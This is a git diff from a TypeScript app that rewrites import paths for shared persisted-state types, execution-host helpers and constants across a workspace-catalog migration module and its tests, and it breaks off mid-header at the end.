a/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-workspace-session.ts b/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-workspace-session.ts index 68ed59efe77..e37ae7ae69c 100644 --- a/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-workspace-session.ts +++ b/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-workspace-session.ts @@ -1,6 +1,6 @@ import { serializeOrcadMigrationValue } from '../../../../shared/orcad-migration/orcad-migration-manifest' import { isRecord } from '../../../../shared/orcad-migration/orcad-migration-manifest-fields' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { SESSION_FOCUS_FIELDS } from '../../../../shared/workspace-session/workspace-session-host-field-ownership' import { mergeWorkspaceSessions } from '../../../orca-profiles/project-transfer/profile-project-session-state' diff --git a/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-worktree-metadata.ts b/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-worktree-metadata.ts index 92fd45454f2..ca87ed2ec06 100644 --- a/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-worktree-metadata.ts +++ b/src/main/persistence/migrating-orcad-catalog/destination/orcad-destination-worktree-metadata.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { type OrcadMigrationDormantStatePayload, diff --git a/src/main/persistence/migrating-orcad-catalog/destination/orcad-dormant-lineage-reconciliation.ts b/src/main/persistence/migrating-orcad-catalog/destination/orcad-dormant-lineage-reconciliation.ts index 54ebfa5b7a1..3142616fbe1 100644 --- a/src/main/persistence/migrating-orcad-catalog/destination/orcad-dormant-lineage-reconciliation.ts +++ b/src/main/persistence/migrating-orcad-catalog/destination/orcad-dormant-lineage-reconciliation.ts @@ -1,5 +1,5 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import { hostWorktreeTarget } from '../../../../shared/worktree/host-qualified-identity' import type { WorkspaceLineage, WorktreeLineage } from '../../../../shared/worktree/lineage-types' import { toWorkspaceLineageRow } from '../../../../shared/worktree/lineage/worktree-lineage-workspace-row' diff --git a/src/main/persistence/migrating-orcad-catalog/destination/orcad-dormant-state-records.ts b/src/main/persistence/migrating-orcad-catalog/destination/orcad-dormant-state-records.ts index 3655ff46535..6285fc40d94 100644 --- a/src/main/persistence/migrating-orcad-catalog/destination/orcad-dormant-state-records.ts +++ b/src/main/persistence/migrating-orcad-catalog/destination/orcad-dormant-state-records.ts @@ -2,7 +2,7 @@ import type { OrcadMigrationDormantStatePayload, OrcadMigrationManifest } from '../../../../shared/orcad-migration/orcad-migration-manifest' -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { SparsePreset } from '../../../../shared/worktree/create-types' import type { WorkspaceLineage, WorktreeLineage } from '../../../../shared/worktree/lineage-types' import type { WorktreeMeta } from '../../../../shared/worktree/meta-types' diff --git a/src/main/persistence/migrating-orcad-catalog/retained-source/orcad-migration-source-retention.ts b/src/main/persistence/migrating-orcad-catalog/retained-source/orcad-migration-source-retention.ts index 48b5d847a1e..5c59ae6e99f 100644 --- a/src/main/persistence/migrating-orcad-catalog/retained-source/orcad-migration-source-retention.ts +++ b/src/main/persistence/migrating-orcad-catalog/retained-source/orcad-migration-source-retention.ts @@ -1,5 +1,5 @@ /** Keep source rows for downgraded clients using their old relays; new clients hide them and serve managed state. Never delete retained rows automatically. */ -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { OrcadMigrationSourceCutover } from '../../../../shared/orcad-migration/orcad-migration-source-cutover' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import type { Store } from '../../loading-store/store' diff --git a/src/main/persistence/migrating-orcad-catalog/retained-source/orcad-retained-source-session.ts b/src/main/persistence/migrating-orcad-catalog/retained-source/orcad-retained-source-session.ts index df5d753281c..63928c6f0b4 100644 --- a/src/main/persistence/migrating-orcad-catalog/retained-source/orcad-retained-source-session.ts +++ b/src/main/persistence/migrating-orcad-catalog/retained-source/orcad-retained-source-session.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { Store } from '../../loading-store/store' import { appUserDataPath, diff --git a/src/main/persistence/migrating-orcad-catalog/source/automations/orcad-source-automation-state.ts b/src/main/persistence/migrating-orcad-catalog/source/automations/orcad-source-automation-state.ts index f6902172d3d..929a3ea08d7 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/automations/orcad-source-automation-state.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/automations/orcad-source-automation-state.ts @@ -5,12 +5,12 @@ import { } from '../../../../../shared/automations/history/automation-run' import type { Automation } from '../../../../../shared/automations/automation-definition' import { getAutomationRunRepoId } from '../../../../../shared/automations/history/automation-run-identity' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import type { OrcadMigrationCatalogPayload, OrcadMigrationManifestSource } from '../../../../../shared/orcad-migration/orcad-migration-manifest' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import type { TaskSourceContext, WorkspaceRunContext diff --git a/src/main/persistence/migrating-orcad-catalog/source/automations/orcad-source-automation-subtraction.ts b/src/main/persistence/migrating-orcad-catalog/source/automations/orcad-source-automation-subtraction.ts index 13210bdc396..c33fc1742a4 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/automations/orcad-source-automation-subtraction.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/automations/orcad-source-automation-subtraction.ts @@ -1,6 +1,6 @@ import { getAutomationRunRepoId } from '../../../../../shared/automations/history/automation-run-identity' import type { OrcadMigrationManifest } from '../../../../../shared/orcad-migration/orcad-migration-manifest' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import { createOrcadMigrationSourceScope, orcadMigrationOwnsRepoId diff --git a/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-export.test.ts b/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-export.test.ts index 105ae5ece2a..37b14a10b97 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-export.test.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-export.test.ts @@ -2,8 +2,8 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../../shared/constants' -import { toSshExecutionHostId } from '../../../../../shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../../../shared/orca-profiles/constants' +import { toSshExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { SshTarget } from '../../../../../shared/remote-runtime/ssh/ssh-types' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import { closeTestStores, createSqliteTestStore } from '../../../persistence-test-harness' diff --git a/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-ownership.test.ts b/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-ownership.test.ts index 853ec1b8593..28cce16d54e 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-ownership.test.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-ownership.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import { getDefaultPersistedState } from '../../../../../shared/constants' +import { getDefaultPersistedState } from '../../../../../shared/orca-profiles/constants' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../../shared/repository/repo-types' diff --git a/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-ownership.ts b/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-ownership.ts index 1e4249c34e6..c8eaf332245 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-ownership.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-ownership.ts @@ -1,5 +1,8 @@ // Export and subtraction must share repo/folder host attribution or migrated rows can remain behind. -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { resolveFolderWorkspaceHost, type FolderWorkspaceHostState diff --git a/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-scope.ts b/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-scope.ts index d1232212ef9..334c16a47b1 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-scope.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-scope.ts @@ -6,7 +6,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { OrcadMigrationCatalogPayload, OrcadMigrationManifestSource @@ -15,7 +15,7 @@ import { normalizeWorkspaceSessionKeyToWorkspaceId, parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import { getExecutionHostIdFromWorktreeHostIdentity, getWorktreeIdFromHostIdentity, diff --git a/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-visibility.ts b/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-visibility.ts index fa004c4d5e9..27be0e8d59d 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-visibility.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/catalog/orcad-source-visibility.ts @@ -1,5 +1,8 @@ import { getAppEnvironment } from '../../../../../shared/app-lifecycle/app-environment' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../../shared/project/groups/project-group-types' diff --git a/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-browser-intents.ts b/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-browser-intents.ts index 7556e799327..734dad24945 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-browser-intents.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-browser-intents.ts @@ -1,5 +1,5 @@ import type { OrcadMigrationClientHostedBrowserCloseIntent } from '../../../../../shared/orcad-migration/orcad-migration-client-state' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import { orcadMigrationOwnerMatchesScope, diff --git a/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-state.ts b/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-state.ts index 7c8e9f655db..9ce85a54763 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-state.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-state.ts @@ -9,7 +9,7 @@ import type { import type { PersistedMobileClientTabSelection, PersistedState -} from '../../../../../shared/persisted-state-types' +} from '../../../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import { sessionPartitions } from '../sessions/orcad-source-workspace-session-fragments' import { collectCloseIntents } from './orcad-source-client-browser-intents' diff --git a/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-subtraction.ts b/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-subtraction.ts index 560422a75b2..0e0282bfca8 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-subtraction.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/clients/orcad-source-client-subtraction.ts @@ -5,10 +5,10 @@ import { import { requireOrcadMigrationSshSource } from '../../../../../shared/orcad-migration/orcad-migration-source-kind' import { parsePersistedAutomationHostFilter } from '../../../../../shared/automations/ownership/automation-host-filter' import { hostStableKey } from '../../../../../shared/automations/ownership/automation-owner-key' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { composeWorktreeHostIdentity } from '../../../../../shared/worktree/host-qualified-identity' import type { OrcadMigrationClientStatePayload } from '../../../../../shared/orcad-migration/orcad-migration-client-state' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import { MAX_CLIENT_HOSTED_BROWSER_CLOSE_INTENTS, type ClientHostedBrowserCloseIntent diff --git a/src/main/persistence/migrating-orcad-catalog/source/dormancy/orcad-source-dormant-state.ts b/src/main/persistence/migrating-orcad-catalog/source/dormancy/orcad-source-dormant-state.ts index 275e30e8e24..4834648a497 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/dormancy/orcad-source-dormant-state.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/dormancy/orcad-source-dormant-state.ts @@ -4,7 +4,7 @@ import type { OrcadMigrationManifestSource } from '../../../../../shared/orcad-migration/orcad-migration-manifest' import type { OrcadMigrationDependencyKind } from '../../../../../shared/orcad-migration/orcad-migration-preflight' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import type { TerminalScrollbackSnapshotStorage } from '../../../../pty/scrollback/terminal-scrollback-snapshots' import { projectHostSetupProjectionFromRepos } from '../../../../../shared/project/host-setup/project-host-setup-projection' import { isEmptyRetiredNameRegistry } from '../../../../../shared/worktree/naming/retired-name-registry' diff --git a/src/main/persistence/migrating-orcad-catalog/source/dormancy/orcad-source-dormant-subtraction.ts b/src/main/persistence/migrating-orcad-catalog/source/dormancy/orcad-source-dormant-subtraction.ts index 52dc889e99e..1e389929702 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/dormancy/orcad-source-dormant-subtraction.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/dormancy/orcad-source-dormant-subtraction.ts @@ -1,5 +1,5 @@ import type { OrcadMigrationManifest } from '../../../../../shared/orcad-migration/orcad-migration-manifest' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import { subtractOrcadSourceWorktreeMetadata } from '../worktrees/orcad-source-worktree-metadata' import { subtractOrcadMigrationSourceAutomationState } from '../automations/orcad-source-automation-subtraction' import { subtractOrcadMigrationSourceWorkspaceSession } from '../sessions/orcad-source-workspace-session-subtraction' diff --git a/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-cleanup.ts b/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-cleanup.ts index 15b343bec5b..92e44f23003 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-cleanup.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-cleanup.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import type { StoreRuntimeState } from '../../../loading-store/store-runtime-state' import { collectTerminalScrollbackSnapshotRefs, diff --git a/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-state.test.ts b/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-state.test.ts index 2038d7079ad..9ed91eccf81 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-state.test.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-state.test.ts @@ -2,7 +2,7 @@ import { mkdirSync, mkdtempSync, rmSync, truncateSync, writeFileSync } from 'nod import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../../shared/orca-profiles/constants' import type { TerminalLayoutSnapshot } from '../../../../../shared/workspace-layout/terminal-tab-types' import { diff --git a/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-state.ts b/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-state.ts index 69ddc09a033..b16f736c59d 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-state.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/scrollback/orcad-source-scrollback-state.ts @@ -5,7 +5,7 @@ import { MAX_ORCAD_MIGRATION_SCROLLBACK_SNAPSHOTS, MAX_ORCAD_MIGRATION_SCROLLBACK_TOTAL_BYTES } from '../../../../../shared/orcad-migration/orcad-migration-scrollback' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import { TERMINAL_SCROLLBACK_STORE_BYTE_LIMIT } from '../../../../../shared/terminal/replay/terminal-scrollback-limits' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import { diff --git a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-dependency-census.ts b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-dependency-census.ts index 37cf38d925a..d5c739b1fda 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-dependency-census.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-dependency-census.ts @@ -3,7 +3,7 @@ import { ORCAD_MIGRATION_DEPENDENCY_KINDS, type OrcadMigrationDependencyKind } from '../../../../../shared/orcad-migration/orcad-migration-preflight' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import type { TerminalScrollbackSnapshotStorage } from '../../../../pty/scrollback/terminal-scrollback-snapshots' import { inspectOrcadMigrationSourceSessions, diff --git a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-left-behind-session-rows.ts b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-left-behind-session-rows.ts index 41c45b1e4eb..7df05517f32 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-left-behind-session-rows.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-left-behind-session-rows.ts @@ -1,6 +1,6 @@ import type { BrowserWorkspace } from '../../../../../shared/browser/workspaces/browser-workspace-types' import type { TabGroup } from '../../../../../shared/workspace-layout/tab-groups/tab-types' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { ORCA_BROWSER_PARTITION } from '../../../../../shared/browser/browser-session-partition' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import { ownedEditorFileId } from '../../../../../shared/workspace-session/workspace-session-pane-ownership' diff --git a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-copy-resolution.ts b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-copy-resolution.ts index e662876fc4b..187fc920960 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-copy-resolution.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-copy-resolution.ts @@ -3,8 +3,8 @@ import type { OrcadMigrationManifestSource } from '../../../../../shared/orcad-migration/orcad-migration-manifest' import type { OrcadMigrationTerminalScrollbackSnapshot } from '../../../../../shared/orcad-migration/orcad-migration-scrollback' -import type { PersistedState } from '../../../../../shared/persisted-state-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { keepUnsavedDrafts } from '../../../../../shared/workspace-session/workspace-session-draft-retention' import { filterWorkspaceRows, diff --git a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-dependencies.ts b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-dependencies.ts index d49297241e4..8ed34118d5e 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-dependencies.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-dependencies.ts @@ -1,5 +1,5 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import { sessionPartitions } from './orcad-source-workspace-session-fragments' diff --git a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-partitions.ts b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-partitions.ts index 75dd99bc5ac..9cfa63ae7a3 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-partitions.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-session-partitions.ts @@ -1,6 +1,6 @@ import { hasClosedTerminalTabRecord } from '../../../../../shared/workspace-layout/terminal-surfaces/closed-terminal-tab-tombstones' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import { normalizeWorkspaceSessionKeyToWorkspaceId } from '../../../../../shared/workspace/identity/workspace-scope' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import { keepUnsavedDrafts } from '../../../../../shared/workspace-session/workspace-session-draft-retention' diff --git a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session-eligibility.ts b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session-eligibility.ts index 32fd539b53e..7f072e47043 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session-eligibility.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session-eligibility.ts @@ -1,5 +1,5 @@ import { isWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume' import type { PersistedOpenFile, diff --git a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session-subtraction.ts b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session-subtraction.ts index a6185fc9bb7..d94b8092855 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session-subtraction.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session-subtraction.ts @@ -8,10 +8,13 @@ import { orcadMigrationPartitionScope, type OrcadMigrationSourceScope } from '../catalog/orcad-source-scope' -import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { collectSessionOwnerKeys } from './orcad-source-workspace-session-fragments' import type { OrcadMigrationManifest } from '../../../../../shared/orcad-migration/orcad-migration-manifest' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' /** Mutate a delta-view copy only. */ export function subtractOrcadMigrationSourceWorkspaceSession( diff --git a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session.ts b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session.ts index 8c2c2df8cfe..04a7f792676 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/sessions/orcad-source-workspace-session.ts @@ -2,7 +2,7 @@ import type { OrcadMigrationCatalogPayload, OrcadMigrationManifestSource } from '../../../../../shared/orcad-migration/orcad-migration-manifest' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import type { OrcadMigrationTerminalScrollbackSnapshot } from '../../../../../shared/orcad-migration/orcad-migration-scrollback' import { @@ -37,7 +37,7 @@ import { } from './orcad-source-session-copy-resolution' import { withoutOrcadMigrationDrafts } from '../worktrees/orcad-source-draft-rename' import { hasClosedTerminalTabRecord } from '../../../../../shared/workspace-layout/terminal-surfaces/closed-terminal-tab-tombstones' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { normalizeWorkspaceSessionKeyToWorkspaceId } from '../../../../../shared/workspace/identity/workspace-scope' import { orcadMigrationSessionPartitions } from './orcad-source-session-partitions' import { collectDuplicateOrcadMigrationSessionIdentities } from './orcad-source-duplicate-session-identities' diff --git a/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-draft-rename.ts b/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-draft-rename.ts index 1a7e177536e..e1098dcd10b 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-draft-rename.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-draft-rename.ts @@ -1,6 +1,6 @@ // Drafts stay on this desktop; commit retargets their host records and restore checks disk baselines. import type { OrcadMigrationManifest } from '../../../../../shared/orcad-migration/orcad-migration-manifest' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import type { PersistedOpenFile, WorkspaceSessionState diff --git a/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-retired-worktree-names.ts b/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-retired-worktree-names.ts index c4a568c273b..2fe64d17ed8 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-retired-worktree-names.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-retired-worktree-names.ts @@ -1,9 +1,9 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import type { OrcadMigrationCatalogPayload, OrcadMigrationDormantStatePayload } from '../../../../../shared/orcad-migration/orcad-migration-manifest' -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import { isEmptyRetiredNameRegistry, mergeRetiredNameRegistries, diff --git a/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-worktree-metadata.ts b/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-worktree-metadata.ts index d0d8115cf7e..f62fdacd2a2 100644 --- a/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-worktree-metadata.ts +++ b/src/main/persistence/migrating-orcad-catalog/source/worktrees/orcad-source-worktree-metadata.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../../shared/orca-profiles/persisted-state-types' import type { WorktreeMeta } from '../../../../../shared/worktree/meta-types' import { diff --git a/src/main/persistence/migrating-orcad-catalog/terminal-history/orcad-scrollback-snapshot-transfer.test.ts b/src/main/persistence/migrating-orcad-catalog/terminal-history/orcad-scrollback-snapshot-transfer.test.ts index c7c53452c94..9ea02c2c00d 100644 --- a/src/main/persistence/migrating-orcad-catalog/terminal-history/orcad-scrollback-snapshot-transfer.test.ts +++ b/src/main/persistence/migrating-orcad-catalog/terminal-history/orcad-scrollback-snapshot-transfer.test.ts @@ -3,7 +3,7 @@ import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { ORCAD_MIGRATION_MANIFEST_VERSION } from '../../../../shared/orcad-migration/orcad-migration-manifest-validation' import type { OrcadMigrationManifest } from '../../../../shared/orcad-migration/orcad-migration-manifest' import type { diff --git a/src/main/persistence/moving-wsl-projects/cutover-recovery/wsl-move-retained-marks.ts 